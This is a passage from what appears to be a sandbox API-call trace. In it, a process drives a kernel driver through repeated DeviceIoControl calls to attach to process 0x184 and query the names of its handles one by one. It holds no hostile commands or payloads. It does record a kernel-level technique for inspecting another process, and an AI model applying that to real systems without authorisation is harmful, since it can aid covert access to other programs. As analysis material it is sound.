lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.038] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.038] PsAcquireProcessExitSynchronization () returned 0x0 [0093.038] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.038] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0093.038] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.038] PsReleaseProcessExitSynchronization () returned 0x2 [0093.038] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.038] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.038] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0093.038] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.038] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.038] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.038] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.038] PsAcquireProcessExitSynchronization () returned 0x0 [0093.038] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.038] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0093.038] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.038] PsReleaseProcessExitSynchronization () returned 0x2 [0093.038] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.038] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.038] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0093.038] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.039] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.039] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.039] PsAcquireProcessExitSynchronization () returned 0x0 [0093.039] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.039] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0093.039] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.039] PsReleaseProcessExitSynchronization () returned 0x2 [0093.039] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.039] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.039] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0093.039] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.039] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.039] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.039] PsAcquireProcessExitSynchronization () returned 0x0 [0093.039] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.039] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0093.039] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.039] PsReleaseProcessExitSynchronization () returned 0x2 [0093.039] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.039] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.039] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0093.039] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.039] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.040] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.040] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.040] PsAcquireProcessExitSynchronization () returned 0x0 [0093.040] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.040] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0093.040] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.040] PsReleaseProcessExitSynchronization () returned 0x2 [0093.040] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.040] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.040] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0093.040] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.040] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.040] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.040] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.040] PsAcquireProcessExitSynchronization () returned 0x0 [0093.040] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.040] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0093.040] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.040] PsReleaseProcessExitSynchronization () returned 0x2 [0093.040] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.040] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.040] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0093.040] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.040] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.040] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.040] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.040] PsAcquireProcessExitSynchronization () returned 0x0 [0093.040] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.040] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0093.040] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.040] PsReleaseProcessExitSynchronization () returned 0x2 [0093.040] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.040] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.041] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0093.041] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.041] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.041] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.041] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.041] PsAcquireProcessExitSynchronization () returned 0x0 [0093.041] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.041] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0093.041] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.041] PsReleaseProcessExitSynchronization () returned 0x2 [0093.041] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.041] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.041] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0093.041] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.041] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.041] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.041] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.041] PsAcquireProcessExitSynchronization () returned 0x0 [0093.041] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.041] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0093.041] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.041] PsReleaseProcessExitSynchronization () returned 0x2 [0093.041] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.041] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.041] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0093.041] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.041] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.041] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.041] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.041] PsAcquireProcessExitSynchronization () returned 0x0 [0093.042] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.042] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0093.042] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.042] PsReleaseProcessExitSynchronization () returned 0x2 [0093.042] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.042] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.042] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0093.042] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.042] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.042] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.042] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.042] PsAcquireProcessExitSynchronization () returned 0x0 [0093.042] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.042] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0093.042] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.042] PsReleaseProcessExitSynchronization () returned 0x2 [0093.042] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.042] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.042] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0093.042] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.042] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.042] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.042] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.042] PsAcquireProcessExitSynchronization () returned 0x0 [0093.042] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.042] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0093.042] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.042] PsReleaseProcessExitSynchronization () returned 0x2 [0093.042] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.042] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.042] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0093.042] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.043] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.043] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.043] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.043] PsAcquireProcessExitSynchronization () returned 0x0 [0093.043] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.043] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0093.043] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.043] PsReleaseProcessExitSynchronization () returned 0x2 [0093.043] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.043] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.043] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0093.043] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.043] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.043] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.043] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.043] PsAcquireProcessExitSynchronization () returned 0x0 [0093.043] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.043] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0093.043] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.043] PsReleaseProcessExitSynchronization () returned 0x2 [0093.043] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.043] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.043] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0093.043] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.043] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.043] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.043] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.043] PsAcquireProcessExitSynchronization () returned 0x0 [0093.043] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.043] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0093.044] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.044] PsReleaseProcessExitSynchronization () returned 0x2 [0093.044] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.044] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.044] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0093.044] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.044] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.044] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.044] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.044] PsAcquireProcessExitSynchronization () returned 0x0 [0093.044] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.044] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0093.044] KeUnstackDetachProcess 